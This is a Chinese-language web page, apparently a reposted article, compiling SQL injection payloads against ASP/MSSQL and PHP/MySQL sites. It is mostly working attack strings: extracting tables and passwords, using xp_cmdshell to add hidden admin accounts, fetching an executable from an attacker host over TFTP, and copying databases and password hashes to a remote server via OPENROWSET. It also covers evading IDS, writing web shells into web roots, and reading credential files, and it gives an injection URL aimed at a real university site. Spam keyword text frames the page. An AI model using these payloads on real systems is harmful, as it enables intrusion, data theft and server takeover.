国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > PHP > 正文

ASP/PHP sql注入語句整理大全

2024-05-04 21:50:20
字體:
供稿:網(wǎng)友

標(biāo)準(zhǔn)注入語句

1.判斷有無注入點(diǎn)

; and 1=1 and 1=2

2.猜表一般的表的名稱無非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜帳號數(shù)目 如果遇到0< 返回正確頁面 1<返回錯(cuò)誤頁面說明帳號數(shù)目就是1個(gè)

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(用戶字段名稱name)>0)

and 1=(select count(*) from admin where len(_blank>密碼字段名稱password)>0)

5.猜解各個(gè)字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 錯(cuò)誤

and 1=(select count(*) from admin where len(name)>5) 正確 長度是6

and 1=(select count(*) from admin where len(name)=6) 正確

and 1=(select count(*) from admin where len(password)>11) 正確

and 1=(select count(*) from admin where len(password)>12) 錯(cuò)誤 長度是12

and 1=(select count(*) from admin where len(password)=12) 正確

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位

就這樣一次加一個(gè)字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

這個(gè)查詢語句可以猜解中文的用戶和_blank>密碼.只要把后面的數(shù)字換成中文的ASSIC碼就OK.最后把結(jié)果再轉(zhuǎn)換成字符.

  1. group by users.id having 1=1-- 
  2. group by users.id, users.username, users.password, users.privs having 1=1-- 
  3. ; insert into users values( 666, attacker, foobar, 0xffff )-- 
  4. UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable- 
  5. UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)- 
  6. UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)- 
  7. UNION SELECT TOP 1 login_blank>_name FROM logintable- 
  8. UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul-- 

看_blank>服務(wù)器打的補(bǔ)丁=出錯(cuò)了打了SP4補(bǔ)丁

and 1=(select @@VERSION)--

看_blank>數(shù)據(jù)庫連接賬號的權(quán)限,返回正常,證明是_blank>服務(wù)器角色sysadmin權(quán)限。

and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

判斷連接_blank>數(shù)據(jù)庫帳號。(采用SA賬號連接 返回正常=證明了連接賬號是SA)

and sa=(SELECT System_blank>_user)--

and user_blank>_name()=dbo--

and 0<>(select user_blank>_name()--

看xp_blank>_cmdshell是否刪除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--

xp_blank>_cmdshell被刪除,恢復(fù),支持絕對路徑的恢復(fù)

  1. ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll-- 
  2. ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:/inetpub/wwwroot/xplog70.dll-- 

反向PING自己實(shí)驗(yàn)

;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帳號

  1. ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add-- 

創(chuàng)建一個(gè)虛擬目錄E盤:

  1. ;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默認(rèn)Web站點(diǎn)" -v "e","e:/"-- 

訪問屬性:(配合寫入一個(gè)webshell)

  1. declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse 

爆庫 特殊_blank>技巧::%5c=/ 或者把/和/ 修改%5提交

and 0<>(select top 1 paths from newtable)--

得到庫名(從1到5都是系統(tǒng)的id,6以上才可以判斷)

  1. and 1=(select name from master.dbo.sysdatabases where dbid=7)-- 
  2. and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 

依次提交 dbid = 7,8,9.... 得到更多的_blank>數(shù)據(jù)庫名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個(gè)表 假設(shè)為 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

and uid>(str(id))) 暴到UID的數(shù)值假設(shè)為18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個(gè)admin的一個(gè)字段,假設(shè)為 user_blank>_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

(id,...)) 來暴出其他的字段

and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用戶名

依次可以得到_blank>密碼。。。。。假設(shè)存在user_blank>_id username ,password 等字段

  1. and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
  2. and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 
  3. and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) 
  4. and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值 
  5. and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 
  6. ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
  7. ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) 
  8. 得到WEB路徑 
  9. ;create table [dbo].[swap] ([swappass][char](255));-- 
  10. and (select top 1 swappass from swap)=1-- 
  11. ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)-- 
  12. ;use ku1;-- 
  13. ;create table cmd (str image);-- 建立image類型的表cmd 
  14. 存在xp_blank>_cmdshell的測試過程: 
  15. ;exec master..xp_blank>_cmdshell dir 
  16. ;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帳號 
  17. ;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- 
  18. ;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- 
  19. ;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- 
  20. ;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;-- 
  21. exec master..xp_blank>_servicecontrol start, schedule 啟動(dòng)_blank>服務(wù) 
  22. exec master..xp_blank>_servicecontrol start, server 
  23. ; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add 
  24. ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net localgroup administrators jiaoniang$ /add 
  25. exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件 
  26. ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:/ 
  27. ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:/ 
  28. ;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目錄bak.dat 
  29. 如果被限制則可以。 
  30. select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax) 

查詢構(gòu)造:

  1. SELECT * FROM news WHERE id=... AND topic=... AND ..... 
  2. adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> 
  3. select 123;-- 
  4. ;use master;-- 
  5. :a or name like fff%;-- 顯示有一個(gè)叫ffff的用戶哈。 
  6. and 1<>(select count(email) from [user]);-- 
  7. ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- 
  8. ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 
  9. ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- 
  10. ;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- 
  11. ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- 
  12. ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 

上面的語句是得到_blank>數(shù)據(jù)庫中的第一個(gè)用戶表,并把表名放在ffff用戶的郵箱字段中。

通過查看ffff的用戶資料可得第一個(gè)用表叫ad

然后根據(jù)表名ad得到這個(gè)表的ID 得到第二個(gè)表的名字

  1. insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- 
  2. insert into users values( 667,123,123,0xffff)-- 
  3. insert into users values ( 123, admin--, password, 0xffff)-- 
  4. ;and user>0 
  5. ;and (select count(*) from sysobjects)>0 
  6. ;and (select count(*) from mysysobjects)>0 //為access_blank>數(shù)據(jù)庫 

枚舉出數(shù)據(jù)表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--

這是將第一個(gè)表名更新到aaa的字段處。

讀出第一個(gè)表,第二個(gè)表可以這樣讀出來(在條件后加上 and name<>剛才得到的表名)。

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--

然后id=1552 and exists(select * from aaa where aaa>5)

讀出第二個(gè)表,一個(gè)個(gè)的讀出,直到?jīng)]有為止。

讀字段是這樣:

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--

然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--

然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名

[獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個(gè)字段的值就可得到表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一個(gè)加一個(gè)]) [ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)

通過SQLSERVER注入_blank>漏洞建_blank>數(shù)據(jù)庫管理員帳號和系統(tǒng)管理員帳號[當(dāng)前帳號必須是SYSADMIN組]

[獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個(gè)字段的值就可得到字段名]

update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查詢的數(shù)據(jù)表名),字段列如:1) [ where 條件]

繞過IDS的檢測[使用變量]

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:/

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:/

1、 開啟遠(yuǎn)程_blank>數(shù)據(jù)庫

基本語法

select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )

參數(shù): (1) OLEDB Provider name

2、 其中連接字符串參數(shù)可以是任何端口用來連接,比如

select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table

3.復(fù)制目標(biāo)主機(jī)的整個(gè)_blank>數(shù)據(jù)庫insert所有遠(yuǎn)程表到本地表。

基本語法:

insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2

這行語句將目標(biāo)主機(jī)上table2表中的所有數(shù)據(jù)復(fù)制到遠(yuǎn)程_blank>數(shù)據(jù)庫中的table1表中。實(shí)際運(yùn)用中適當(dāng)修改連接字符串的IP地址和端口,指向需要的地方,比如:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)

select * from master.dbo.sysdatabases

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)

select * from user_blank>_database.dbo.sysobjects

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)

select * from user_blank>_database.dbo.syscolumns

復(fù)制_blank>數(shù)據(jù)庫:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

復(fù)制哈西表(HASH)登錄_blank>密碼的hash存儲于sysxlogins中。方法如下:

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins

得到hash之后,就可以進(jìn)行暴力破解。

遍歷目錄的方法: 先創(chuàng)建一個(gè)臨時(shí)表:temp

  1. ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
  2. ;insert temp exec master.dbo.xp_blank>_availablemedia;-- 獲得當(dāng)前所有驅(qū)動(dòng)器 
  3. ;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:/;-- 獲得子目錄列表 
  4. ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:/;-- 獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中 
  5. ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:/web/index.asp;-- 查看某個(gè)文件的內(nèi)容 
  6. ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:/;-- 
  7. ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:/ *.asp /s/a;-- 
  8. ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc 
  9. ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:/;-- (xp_blank>_dirtree適用權(quán)限PUBLIC) 

寫入表:

語句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--

語句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--

語句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--

語句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--

語句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--

語句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--

語句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--

語句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--

語句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--

把路徑寫到表中去:

  1. ;create table dirs(paths varchar(100), id int)-- 
  2. ;insert dirs exec master.dbo.xp_blank>_dirtree c:/-- 
  3. and 0<>(select top 1 paths from dirs)-- 
  4. and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))-- 
  5. ;create table dirs1(paths varchar(100), id int)-- 
  6. ;insert dirs exec master.dbo.xp_blank>_dirtree e:/web-- 
  7. and 0<>(select top 1 paths from dirs1)-- 

把_blank>數(shù)據(jù)庫備份到網(wǎng)頁目錄:下載

  1. ;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:/web/down.bak;-- 
  2. and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) 
  3. and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 參看相關(guān)表。 
  4. and 1=(select user_blank>_id from USER_blank>_LOGIN) 
  5. and 0=(select user from USER_blank>_LOGIN where user>1) 
  6. -=- wscript.shell example -=- 
  7. declare @o int 
  8. exec sp_blank>_oacreate wscript.shell, @o out 
  9. exec sp_blank>_oamethod @o, run, NULL, notepad.exe 
  10. declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe-- 
  11. declare @o int, @f int, @t int, @ret int 
  12. declare @line varchar(8000) 
  13. exec sp_blank>_oacreate scripting.filesystemobject, @o out 
  14. exec sp_blank>_oamethod @o, opentextfile, @f out, c:/boot.ini, 1 
  15. exec @ret = sp_blank>_oamethod @f, readline, @line out 
  16. while( @ret = 0 ) 
  17. begin 
  18. print @line 
  19. exec @ret = sp_blank>_oamethod @f, readline, @line out 
  20. end 
  21. declare @o int, @f int, @t int, @ret int 
  22. exec sp_blank>_oacreate scripting.filesystemobject, @o out 
  23. exec sp_blank>_oamethod @o, createtextfile, @f out, c:/inetpub/wwwroot/foo.asp, 1 
  24. exec @ret = sp_blank>_oamethod @f, writeline, NULL, 
  25. <% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %> 
  26. declare @o int, @ret int 
  27. exec sp_blank>_oacreate speech.voicetext, @o out 
  28. exec sp_blank>_oamethod @o, register, NULL, foo, bar 
  29. exec sp_blank>_oasetproperty @o, speed, 150 
  30. exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 
  31. waitfor delay 00:00:05 
  32. declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- 
  33. xp_blank>_dirtree適用權(quán)限PUBLIC 
  34. exec master.dbo.xp_blank>_dirtree c:/ 

返回的信息有兩個(gè)字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100), id int)

建表,這里建的表是和上面xp_blank>_dirtree相關(guān)連,字段相等、類型相同。

insert dirs exec master.dbo.xp_blank>_dirtree c:/

只要我們建表與存儲進(jìn)程返回的字段相定義相等就能夠執(zhí)行!達(dá)到寫表的效果,一步步達(dá)到我們想要的信息!

PHP+MySQL 手工注入語句

暴字段長度

order by num/*

匹配字段

and 1=1 union select 1,2,3,4,5…….n/*

暴字段位置

and 1=2 union select 1,2,3,4,5…..n/*

利用內(nèi)置函數(shù)暴數(shù)據(jù)庫信息

version() database() user()

不用猜解可用字段暴數(shù)據(jù)庫信息(有些網(wǎng)站不適用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系統(tǒng)信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

數(shù)據(jù)庫權(quán)限:

and ord(mid(user(),1,1))=114 /* 返回正常說明為root

暴庫 (mysql>5.0)

Mysql 5 以上有內(nèi)置庫 information_schema,存儲著mysql的所有數(shù)據(jù)庫和表結(jié)構(gòu)信息

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(十六進(jìn)制) limit 0(開始的記錄,0為第一個(gè)開始記錄),1(顯示1條記錄)―

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進(jìn)制)limit 0,1

暴密碼

and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1

高級用法(一個(gè)可用字段顯示兩個(gè)數(shù)據(jù)內(nèi)容):

Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

直接寫馬(Root權(quán)限)

條件:1、知道站點(diǎn)物理路徑

2、有足夠大的權(quán)限(可以用select …. from mysql.user測試)

3、magic_quotes_gpc()=OFF

select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路徑’and 1=2 union all select 一句話HEX值 into outfile '路徑'

load_file() 常用路徑:

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面兩個(gè)是查看一個(gè)PHP文件里完全顯示代碼.有些時(shí)候不替換一些字符,如 “<” 替換成”空格” 返回的是網(wǎng)頁.而無法查看到代碼.

3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統(tǒng)根目錄

4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機(jī)配置文件

5、c:/Program Files/Apache Group/Apache/conf /httpd.conf 或C:/apache/conf /httpd.conf 查看WINDOWS系統(tǒng)apache文件

6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發(fā)的網(wǎng)站 resin文件配置信息.

7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統(tǒng)配置的JSP虛擬主機(jī)

8、d:/APACHE/Apache2/conf/httpd.conf

9、C:/Program Files/mysql/my.ini

10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑

11、 c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虛擬主機(jī)配置文件

12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看

13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機(jī)查看

15、 /etc/sysconfig/iptables 本看防火墻策略

16 、 usr/local/app/php5 b/php.ini PHP 的相當(dāng)設(shè)置

17 、/etc/my.cnf MYSQL的配置文件

18、 /etc/redhat-release 紅帽子的系統(tǒng)版本

19 、C:/mysql/data/mysql/user.MYD 存在MYSQL系統(tǒng)中的用戶密碼

20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

21、/usr/local/app/php5 b/php.ini //PHP相關(guān)設(shè)置

22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網(wǎng)站設(shè)置

23、C:/Program Files/RhinoSoft.com/Serv-U/ServUDaemon.ini

24、c:/windows/my.ini

25、c:/boot.ini

網(wǎng)站常用配置文件 config.inc.php、config.php。load_file()時(shí)要用replace(load_file(HEX),char(60),char(32))

注:

Char(60)表示 <

Char(32)表示 空格

手工注射時(shí)出現(xiàn)的問題:

當(dāng)注射后頁面顯示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

這是由于前后編碼不一致造成的,

解決方法:在參數(shù)前加上 unhex(hex(參數(shù)))就可以了。上面的URL就可以改為:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

發(fā)表評論 共有條評論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 台中市| 武汉市| 吉木乃县| 军事| 衢州市| 灌南县| 普陀区| 泽库县| 苍山县| 蓬莱市| 牙克石市| 页游| 乐平市| 焉耆| 扎囊县| 博罗县| 郑州市| 文登市| 平阳县| 防城港市| 玛多县| 大兴区| 昭通市| 巴彦县| 白朗县| 营口市| 锡林浩特市| 璧山县| 铜梁县| 横山县| 澎湖县| 临朐县| 五华县| 墨竹工卡县| 鹿泉市| 翁牛特旗| 梁山县| 莱西市| 沙田区| 福建省| 三河市|